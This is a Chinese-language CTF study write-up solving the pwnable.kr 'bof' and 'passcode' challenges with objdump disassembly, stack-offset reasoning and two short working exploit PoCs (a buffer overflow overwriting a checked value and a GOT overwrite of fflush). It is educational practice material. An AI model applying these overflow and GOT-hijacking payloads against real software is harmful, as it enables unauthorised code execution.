0x00 前言

最近練習靶機遇到一些Buffer Overflow的東西,且之前上課binary類的都不是很認真聽,打CTF也是都丟給隊友,結果現在就是要排時間補,想趁這個主題來練一下題目,並且把筆記整理一下。
PWN目前應該會是以pwnable.kr的題目來練習,應該會摻雜一些pwnable.tw的題目,每篇應該都是1到2題。

0x01 BOF

BOF (Buffer Overflow)算是經典中的經典,只要PWN的第一堂課或教學基本上都是BOF。而且他以沒學過資安的人來看根本是魔法,試想一下你的伺服器突然收到一堆a下一秒你伺服器就被pwn掉了,有夠詭異oAO。
這邊基本的概念就先不說明,網路上有很多厲害的前輩都有更完整更仔細的說明,這邊就先以整理解題思路為主。
這邊用objdump先看一下

1
objdump -d ./bof

我們可以看到比較關鍵的兩個function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0000062c <func>:
62c: 55 push %ebp
62d: 89 e5 mov %esp,%ebp
62f: 83 ec 48 sub $0x48,%esp
632: 65 a1 14 00 00 00 mov %gs:0x14,%eax
638: 89 45 f4 mov %eax,-0xc(%ebp)
63b: 31 c0 xor %eax,%eax
63d: c7 04 24 8c 07 00 00 movl $0x78c,(%esp)
644: e8 fc ff ff ff call 645 <func+0x19>
649: 8d 45 d4 lea -0x2c(%ebp),%eax
64c: 89 04 24 mov %eax,(%esp)
64f: e8 fc ff ff ff call 650 <func+0x24>
654: 81 7d 08 be ba fe ca cmpl $0xcafebabe,0x8(%ebp)
65b: 75 0e jne 66b <func+0x3f>
65d: c7 04 24 9b 07 00 00 movl $0x79b,(%esp)
664: e8 fc ff ff ff call 665 <func+0x39>
669: eb 0c jmp 677 <func+0x4b>
66b: c7 04 24 a3 07 00 00 movl $0x7a3,(%esp)
672: e8 fc ff ff ff call 673 <func+0x47>
677: 8b 45 f4 mov -0xc(%ebp),%eax
67a: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
681: 74 05 je 688 <func+0x5c>
683: e8 fc ff ff ff call 684 <func+0x58>
688: c9 leave
689: c3 ret

0000068a <main>:
68a: 55 push %ebp
68b: 89 e5 mov %esp,%ebp
68d: 83 e4 f0 and $0xfffffff0,%esp
690: 83 ec 10 sub $0x10,%esp
693: c7 04 24 ef be ad de movl $0xdeadbeef,(%esp)
69a: e8 8d ff ff ff call 62c <func>
69f: b8 00 00 00 00 mov $0x0,%eax
6a4: c9 leave

我們經過觀察可以發現一個重要判斷

1
2
654:   81 7d 08 be ba fe ca    cmpl   $0xcafebabe,0x8(%ebp)
65b: 75 0e jne 66b <func+0x3f>

這個部分代表程式會把0x8(%ebp)拿去和$0xcafebabe比較
如果不相同就跳開反之成功就會彈shell給我們
那這邊我們只要利用上面的get function overflow 0x8(%ebp)就好
我們能依照上面lea -0x2c(%ebp),%eax確認0x2c個a剛好蓋到ebp之後再+8個byte能蓋到0x8(%ebp)
最後在後面加上0xcafebabe

PoC:

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
from pwn import *

#r = process("./bof")

r.send(b"a" * (0x2c + 8) + p32(0xcafebabe))

r.interactive()

0x02 passcode

這題算是GOT hijacking,觀念還蠻有趣的
以下是題目的描述
Well, there was some compiler warning, but who cares about that?
根據上面那段我們能找到他的c裡面有這段

1
scanf("%d", passcode1);

他是會把我們的輸入寫在passcode1上,而不是的值上
接著我們可以看到下面一行有fflush
這看起來我們只要把passcode1的位置改成fflush GOT
之後我們在輸入的時候只要把fflush GOT的位置寫成我們要執行的位置
這樣到了fflush我們就能執行我們想要跑的東西了
我們看一下objdump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
08048564 <login>:
8048564: 55 push %ebp
8048565: 89 e5 mov %esp,%ebp
8048567: 83 ec 28 sub $0x28,%esp
804856a: b8 70 87 04 08 mov $0x8048770,%eax
804856f: 89 04 24 mov %eax,(%esp)
8048572: e8 a9 fe ff ff call 8048420 <printf@plt>
8048577: b8 83 87 04 08 mov $0x8048783,%eax
804857c: 8b 55 f0 mov -0x10(%ebp),%edx
804857f: 89 54 24 04 mov %edx,0x4(%esp)
8048583: 89 04 24 mov %eax,(%esp)
8048586: e8 15 ff ff ff call 80484a0 <__isoc99_scanf@plt>
804858b: a1 2c a0 04 08 mov 0x804a02c,%eax
8048590: 89 04 24 mov %eax,(%esp)
8048593: e8 98 fe ff ff call 8048430 <fflush@plt>
8048598: b8 86 87 04 08 mov $0x8048786,%eax
804859d: 89 04 24 mov %eax,(%esp)
80485a0: e8 7b fe ff ff call 8048420 <printf@plt>
80485a5: b8 83 87 04 08 mov $0x8048783,%eax
80485aa: 8b 55 f4 mov -0xc(%ebp),%edx
80485ad: 89 54 24 04 mov %edx,0x4(%esp)
80485b1: 89 04 24 mov %eax,(%esp)
80485b4: e8 e7 fe ff ff call 80484a0 <__isoc99_scanf@plt>
80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp)
80485c0: e8 8b fe ff ff call 8048450 <puts@plt>
80485c5: 81 7d f0 e6 28 05 00 cmpl $0x528e6,-0x10(%ebp)
80485cc: 75 23 jne 80485f1 <login+0x8d>
80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp)
80485d5: 75 1a jne 80485f1 <login+0x8d>
80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)
80485de: e8 6d fe ff ff call 8048450 <puts@plt>
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
80485ea: e8 71 fe ff ff call 8048460 <system@plt>
80485ef: c9 leave
80485f0: c3 ret
80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp)
80485f8: e8 53 fe ff ff call 8048450 <puts@plt>
80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8048604: e8 77 fe ff ff call 8048480 <exit@plt>

08048609 <welcome>:
8048609: 55 push %ebp
804860a: 89 e5 mov %esp,%ebp
804860c: 81 ec 88 00 00 00 sub $0x88,%esp
8048612: 65 a1 14 00 00 00 mov %gs:0x14,%eax
8048618: 89 45 f4 mov %eax,-0xc(%ebp)
804861b: 31 c0 xor %eax,%eax
804861d: b8 cb 87 04 08 mov $0x80487cb,%eax
8048622: 89 04 24 mov %eax,(%esp)
8048625: e8 f6 fd ff ff call 8048420 <printf@plt>
804862a: b8 dd 87 04 08 mov $0x80487dd,%eax
804862f: 8d 55 90 lea -0x70(%ebp),%edx
8048632: 89 54 24 04 mov %edx,0x4(%esp)
8048636: 89 04 24 mov %eax,(%esp)
8048639: e8 62 fe ff ff call 80484a0 <__isoc99_scanf@plt>
804863e: b8 e3 87 04 08 mov $0x80487e3,%eax
8048643: 8d 55 90 lea -0x70(%ebp),%edx
8048646: 89 54 24 04 mov %edx,0x4(%esp)
804864a: 89 04 24 mov %eax,(%esp)
804864d: e8 ce fd ff ff call 8048420 <printf@plt>
8048652: 8b 45 f4 mov -0xc(%ebp),%eax
8048655: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
804865c: 74 05 je 8048663 <welcome+0x5a>
804865e: e8 dd fd ff ff call 8048440 <__stack_chk_fail@plt>
8048663: c9 leave
8048664: c3 ret

08048665 <main>:
8048665: 55 push %ebp
8048666: 89 e5 mov %esp,%ebp
8048668: 83 e4 f0 and $0xfffffff0,%esp
804866b: 83 ec 10 sub $0x10,%esp
804866e: c7 04 24 f0 87 04 08 movl $0x80487f0,(%esp)
8048675: e8 d6 fd ff ff call 8048450 <puts@plt>
804867a: e8 8a ff ff ff call 8048609 <welcome>
804867f: e8 e0 fe ff ff call 8048564 <login>
8048684: c7 04 24 18 88 04 08 movl $0x8048818,(%esp)
804868b: e8 c0 fd ff ff call 8048450 <puts@plt>
8048690: b8 00 00 00 00 mov $0x0,%eax
8048695: c9 leave

看起來我們跳到這邊可以繞過他的判斷,直接拿到flag

1
2
3
4
80485d7:       c7 04 24 a5 87 04 08    movl   $0x80487a5,(%esp)
80485de: e8 6d fe ff ff call 8048450 <puts@plt>
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
80485ea: e8 71 fe ff ff call 8048460 <system@plt>

最後也是最重要的我們要如何把passcode1改成fflush GOT的位置
我們看了一遍code能發現其實welcome 和 login的ebp都是一樣的

welcome在寫入時可以寫入 -0x70(%ebp)
passcode的位置是在 -0x10(%ebp)

所以我們可以在welcome的時候寫入0x70 - 0x10個字元,之後在寫入fflush GOT的位置
最後輸入passcode1的時候輸入0x80485d7
我們就能拿到flag

!!!因為scanf(“%d”, passcode1);是%d所以要輸入10進位
PoC:

1
python -c "print 'a' * 96 + '\x04\xa0\x04\x08' + '134514135'" | ./passcode